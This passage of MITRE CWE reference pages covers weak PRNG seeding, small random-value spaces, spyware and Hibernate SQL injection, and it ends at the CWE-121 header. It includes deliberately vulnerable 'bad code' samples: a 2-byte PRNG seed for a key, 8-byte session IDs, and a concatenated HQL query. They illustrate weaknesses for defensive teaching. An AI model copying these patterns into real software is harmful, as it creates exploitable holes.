Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPSigned to unsigned conversion error
Software Fault PatternsSFP1Glitch in computation
CERT C Secure CodingINT31-CCWE More SpecificEnsure that integer conversions do not result in lost or misinterpreted data
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Description, Other_Notes, Relationships
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Observed_Examples, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-339: Small Seed Space in PRNG

Weakness ID: 339
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks.
+ Extended Description
PRNGs are entirely deterministic once seeded, so it should be extremely difficult to guess the seed. If an attacker can collect the outputs of a PRNG and then brute force the seed by trying every possibility to see which seed matches the observed output, then the attacker will know the output of any subsequent calls to the PRNG. A small seed space implies that the attacker will have far fewer possible values to try to exhaust all possibilities.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.341Predictable from Observable State
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

This code grabs some random bytes and uses them for a seed in a PRNG, in order to generate a new cryptographic key.

(bad code)
Example Language: Python 
# getting 2 bytes of randomness for the seeding the PRNG
seed = os.urandom(2)
random.seed(a=seed)
key = random.getrandbits(128)

Since only 2 bytes are used as a seed, an attacker will only need to guess 2^16 (65,536) values before being able to replicate the state of the PRNG.

+ Observed Examples
ReferenceDescription
product generates passwords via org.apache.commons.lang.RandomStringUtils, which uses java.util.Random internally. This PRNG has only a 48-bit seed.
+ Potential Mitigations

Phase: Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry may have a chaining relationship with predictable from observable state (CWE-341).

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSmall Seed Space in PRNG
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". Annex C, Approved Random Number Generators. 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22. <https://csrc.nist.gov/publications/detail/fips/140/3/final>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-334: Small Space of Random Values

Weakness ID: 334
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.6J2EE Misconfiguration: Insufficient Session-ID Length
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.
+ Demonstrative Examples

Example 1

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

(bad code)
Example Language: XML 
<sun-web-app>
...
<session-config>
<session-properties>
<property name="idLengthBytes" value="8">
<description>The number of bytes in this web module's session ID.</description>
</property>
</session-properties>
</session-config>
...
</sun-web-app>

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

+ Observed Examples
ReferenceDescription
Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root.
Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts.
SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN.
Complex predictability / randomness (reduced space).
+ Potential Mitigations

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSmall Space of Random Values
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-512: Spyware

Weakness ID: 512
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.
+ Extended Description
"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to refer to products that collect information or install functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.506Embedded Malicious Code
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phase: Operation

Use spyware detection and removal software.

Phase: Installation

Always verify the integrity of the product that is being installed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2008-10-14CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-564: SQL Injection: Hibernate

Weakness ID: 564
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Demonstrative Examples

Example 1

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

(bad code)
Example Language: Java 
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
+ Potential Mitigations

Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-121: Stack-based Buffer Overflow

Weakness ID: 121
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
